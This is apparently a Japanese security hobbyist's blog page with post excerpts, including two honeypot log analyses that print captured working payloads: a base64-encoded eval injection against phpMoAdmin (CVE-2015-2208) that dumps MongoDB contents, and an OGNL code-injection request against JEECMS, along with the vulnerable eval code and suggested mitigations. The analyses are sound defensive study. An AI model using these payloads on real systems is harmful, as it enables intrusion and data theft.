人間ハニーポット作戦

普通のハニーポットに戻りたい〜><

SSHハニーポットはKippoではなくCowrieを使え

お久しぶりです。記事を書こうとして下書きが積もっていっております・・・。 今回はサクッと。

今回の内容

ハニーポット入門としてよく導入されるKippo。 しかしKippoは攻撃者に対策されたり、エラーが発生したりして思うようにマルウェアやログを取ることができません。
そういうときはKippoの改良版(?)的なCowrieを使っていきましょう。

Kippo全然うまくいかないよー、どうして?となっている人をたまに見かけます。ぜひともCowrieを使ってほしいです。

今回の記事では、Kippoが何故適さないのかを考えていきたいと思います。
あまり詳細には書きませんが、いわゆるKippoの挙動解説になります。

個人的にKippoは推奨していないので、挙動について書く意味は少ないと思います。
もしKippoの導入とかあれこれについて調べていてこの記事を見つけた方は、この記事を読むよりCowrieについて調べたほうがよいかもしれません。

続きを読む

H27 秋 情報セキュリティスペシャリスト試験 午後Ⅰ 問1 俺的解説(β版)

お久しぶりです。今回はIPA情報セキュリティスペシャリスト試験の俺的解説を行いたいと思います。
背景としては、前回(H27S)でこの試験には合格したのですが、合格したから勉強をやめる、というのはやはり良くない!というわけで、解説的なことをやってみよう、というわけです。
個人の見解です。間違っている可能性も大いにあります。鵜呑みしないように!
指摘、議論などありましたらお願いします。

続きを読む

セキュリティ・キャンプ2015応募用紙晒す

受かると思ってなかったけど受かった、そんなジャンクさんです。
セキュリティ・キャンプ参加者向けに、ちょっと公開してみます。ほんと初心者だから、突っ込みどころは多いはず!
共通問題も晒しますよー。あと見づらいけどすみません。
ほぼ丸々持ってきてるので、問題あれば消します。

続きを読む

phpMoAdminの脆弱性(コマンドインジェクション)を狙った攻撃(CVE-2015-2208)

今回は、MongoDB*1GUI管理ツールであるphpMoAdminの脆弱性を突いた攻撃を紹介したいと思います。

まずはログをご覧ください。(見やすくなるよう改変しています)悪用厳禁

POST /phpMoAdmin/moadmin.php HTTP/1.1
Accept-Encoding: identity
Content-Length: 409
Host: IPアドレス
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

object=1%3Beval%28base64_decode%28%22JG09MDskcj0iIjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdERicygpIGFzICAkayA9PiAkdil7ICR0aGlz%0ALT5zZXREYigkayk7CiAgICAkcz0wOyRyMT0kdjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdENvbGxlY3Rp%0Ab25zKCkgYXMgICRrMSA9PiAkdjEpewogICAgICAgIGlmKCR2MSA%2BPSAkbSl7ICRyMS49IlsiLiRr%0AMS4iKCIuJHYxLiIpXSI7ICRzPTE7IH0KICAgIH07IGlmKCRzKSAkci49InsiLiRyMS4ifSI7Cn07%0AIGRpZSgiTU9BU1RBVFM6Ii4kcik7%0A%22%29%29%3B%3Bexit

objectというパラメータにURLエンコードされた攻撃コードが入力されています。さらに、攻撃コード中にbase64_decodeという文字列があることから、途中からBase64エンコードされているということがわかります。

この攻撃コードのURLデコードを行い、更にBase64エンコードされている部分をデコードすると、次のようなコードであることがわかります。

object=1;eval(base64_decode("$m=0;$r=""; foreach($this->listDbs() as  $k => $v){ $this->setDb($k);
    $s=0;$r1=$v; foreach($this->listCollections() as  $k1 => $v1){
        if($v1 >= $m){ $r1.="[".$k1."(".$v1.")]"; $s=1; }
    }; if($s) $r.="{".$r1."}";
}; die("MOASTATS:".$r);"));;exit

このexploitはMongoDB内のデータベースの内容を全て出力する、コマンドインジェクションであることがわかりました。

この攻撃者は情報の窃取が目的だったようですが、他にも例えばサーバにマルウェアをダウンロードさせるなどの攻撃もできると考えられます。

また、objectパラメータだけでなく、findパラメータにも同様の脆弱性が存在しています。

原因のコード

phpmoadmin.phpには、以下のような関数が存在します。

    public function saveObject($collection, $obj) {
        eval('$obj=' . $obj . ';'); //cast from string to array
        return $this->mongo->selectCollection($collection)->save($obj);
    }

このsaveObject関数ではeval関数が記述されています。eval関数のパラメータにはユーザが指定する値が入るobj変数があり、これがコマンドインジェクションの脆弱性を引き起こしています。 また、同様にfindパラメータを処理する部分にもeval関数が使われています。

        $find = array();
        if (isset($_GET['find']) && $_GET['find']) {
            $_GET['find'] = trim($_GET['find']);
            if (strpos($_GET['find'], 'array') === 0) {
                eval('$find = ' . $_GET['find'] . ';');
            } else if (is_string($_GET['find'])) {
                if ($findArr = json_decode($_GET['find'], true)) {
                    $find = $findArr;
                }
            }
        }

eval関数の使用は推奨されません。もしも利用する場合はパラメータに変数を含めず、文字列リテラルのみを利用するのが賢明です。

対策

2015/06/20現在での最新バージョンが1.1.2であり、発見から3か月ほど経っていますが未だに修正が行われていません。対策として私が考えるのは、サーバ側でphpmoadmin.phpに認証を設定するということです。(管理ツールなので設定してないとおかしいですけどね^^;)また、外部からアクセスされない環境に置くのも手だと思います。

参考サイト

データベース「MongoDB」の管理ツール「phpMoAdmin」に存在するゼロデイ脆弱性の解析 | トレンドマイクロ セキュリティブログ←この脆弱性についてとても詳しく解説しています。

JVNDB-2015-001796 - JVN iPedia - 脆弱性対策情報データベース

第37回 MOPS:PHPにおけるコード実行(1):なぜPHPアプリにセキュリティホールが多いのか?|gihyo.jp … 技術評論社

*1:NoSQLの一つで、ドキュメント指向データベース

JEECMSの脆弱性(コードインジェクション)を狙った攻撃

どうも、また(普通の)日本人に関係があんまりない攻撃に関する記事を書かせていただきます。私のハニーポットには昨日来たてのほやほや攻撃。

まずはログをご覧ください。(見やすくなるよう改変しています。)

攻撃コードもURLデコードしています。悪用厳禁

POST /login/Jeecms.do HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: IPアドレス
Content-Length: 395
Expect: 100-continue
Connection: Keep-Alive

redirect:${#res=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#res.setCharacterEncoding("UTF-8"),#req=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletRequest),#res.getWriter().print("dir:"),#res.getWriter().println(#req.getSession().getServletContext().getRealPath("/")),#res.getWriter().flush(),#res.getWriter().close()}

POSTメソッドに書いてあるJeecms*1。おそらくこれが攻撃先のソフトウェア名です。

これは、コードインジェクション(CWE-94)を狙った攻撃です。

RedirectにJavaで攻撃コードが書かれています。このコードは、Jeecms.doのサーバ内での絶対パスを取得するものと考えられます。恐らく、ここから攻撃を広げていくつもりだったのでしょうね。

Apache Strutsに同様の脆弱性(S2-016)

Apache Struts*2に同様の脆弱性(2013年)S2-016が公開されています。余談ですがApache StrutsにはほかにClasslorderの脆弱性(2014年)CVE-2014-0114が存在します。どちらも最新バージョンなら修正されています。

JEECMSについて考察

今回、同一IPからindex.actionやlogin.actionなどへのアクセスがあったためStrutsへの攻撃だと思ったのですが、 Jeecms.doへのアクセスから別と判断しました。

なぜ同じ脆弱性が存在するのか? JEECMSはStrutsを利用している・・・? しかし、JEECMSの製品ページを見ると別のフレームワークは載っているがStrutsは載っていない。と、いうことは・・・?

  • 発覚した後製品でStrutsの利用をやめた

といったところでしょうか。結局真相は謎ですし、現在は修正されているでしょうから、どうでもいいことです。

ほか参考サイト

JEECMS网站内容管理系统远程代码执行漏洞 – 安全脉搏

Apache Strutsの脆弱性(S2-016)を狙った攻撃の実例 - WAF Tech Blog | クラウド型 WAFサービス Scutum 【スキュータム】

*1:JEECMS:中国のJavaベースのCMSコンテンツマネジメントシステム

*2:Apache Struts:JavaのWebアプリケーションフレームワーク